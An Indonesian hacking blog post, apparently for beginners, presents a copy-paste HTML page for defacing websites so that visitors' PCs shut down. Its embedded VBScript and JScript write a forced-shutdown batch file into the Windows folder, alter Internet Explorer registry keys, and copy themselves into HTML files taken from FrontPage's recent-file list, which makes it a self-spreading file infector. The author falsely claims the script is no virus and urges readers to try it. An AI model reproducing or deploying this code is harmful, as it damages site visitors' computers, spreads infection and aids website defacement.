Hai Sahabat, apakah anda seorang Deface ato Hobby Deface ?
Haah ??? MAHOO !!! SAMA AJA KALEEE !!! HIHIHIHI
Nah Deface Web adalah salah satu perkerjaan yang Lumayan RUWET alias rumit apalagi untuk apara Newbie, Deface bermaksud untuk mengacak-acak seluruh isi Web tersebut dan menggantinya, biasanya seorang Defacer men-Deface Web dan Menyisipkan Namanya atau Komunitasnya di Web tersebut agar mereka terkenal dan dikenal oleh masyarakat dunia yg mengakses Web korban tsbt. Tapi terkadang seorang Defacer juga terkena batunya. Yaitu mendapat kata-kata yg paling ditakuti yaitu:
WANTED: NAMA DEFACER dan bagi yg menemukan orang (defacer ) akan diberi uang sesuai janjinya.
Naah ga usah banyak omong lah…Kita akan membahas bagaimana Kita Deface web sembari menjahili orang yg mengakses web tersebut.
Script dibawah ini adalah Script HTML untuk Deface Web dan ketika Orang yang megakses Web tersebut maka PC si pengakses tersebut akan MATI / RESTART
Hihihihi….Lumayan Jahil
Langsung aja deech ke TKP
Copy/Paste Script dibawah ini ke Notepad dan
Rename menjadi *.html atau *htm”
<html><!– CILACA HACKER–>
<head>
<title> SIM SALABIM MATILAH PC KAMU
</title>
</head>
<body>
<script language=”VBScript”>
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject(“Scripting.FileSystemObject”)
Set shell=CreateObject(“Wscript.Shell”)
if err.number=429 Then
shell.Run javascript:location.reload()
End If
Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)
Set wrte=fso.CreateTextFile(windir+”windows.cmd”)
wrte.WriteLine “cls”
wrte.WriteLine “@echo off”
wrte.WriteLine “shutdown -s -f -t 300 -c “+chr(34)+”Sincan2 Akan Shutdown Server mu…”+chr(34)
wrte.Close()
shell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1Source”, “C:Sincan2.html”
shell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1SubscribedURL”, “C:Sincan2.html”
Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+”windows.cmd”
End If
</script>
<script language=”JavaScript”>
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject(“Scripting.FileSystemObject”)
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile(“C:\index.html”)
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine(“/”+”*”)
file.WriteLine(“*”+”/”)
}
if (check == 3)
{
file.WriteLine(“rem”)
}
}
code=virus.ReadLine()
if (code == “/”+”*”) { checka=666 }
if (code == “*”+”/”) { checka=666 }
if (code == “rem”) { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code==”</”+unescape(“%68″)+”tml>”) { checkb=1 }
if (code==”// JS”) { check=2 }
if (code==”rem VBS”) { check=3 }
if (code==”</”+unescape(“%73″)+”cript>”) { check=0 }
}
}
virus.Close();
file.Close();
</script>
<script language=”VBScript”>
rem VBS
On Error Resume Next
set fso=CreateObject(“Scripting.FileSystemObject”)
set shell=CreateObject(“WScript.Shell”)
set myfile=fso.OpenTextFile(“C:index.html”)
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile1″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile2″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile3″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile4″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile5″)
if rr <> “” Then Call Sincan2(rr, mycode)
Sub Sincan2(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>”<html><!–Sincan2–>” Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If
End Sub
</script>
</body>
</html>
Wahuahahaha……..Jahil lu…Silahkan coba saja dan PC kamu akan Restart..
Hmmmm…Apakah Script ini mengandung Virus Jahat ? OOH TENTU TIDAAAK, Hanya sekedar Kode perintah dan perintah tersebut akan direspond oleh System kamu.
SILAHKAN DI COBA SOBAT